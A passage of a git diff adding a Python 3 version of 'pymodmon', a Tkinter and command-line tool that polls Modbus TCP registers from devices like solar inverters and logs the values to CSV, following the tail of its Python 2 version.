Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last 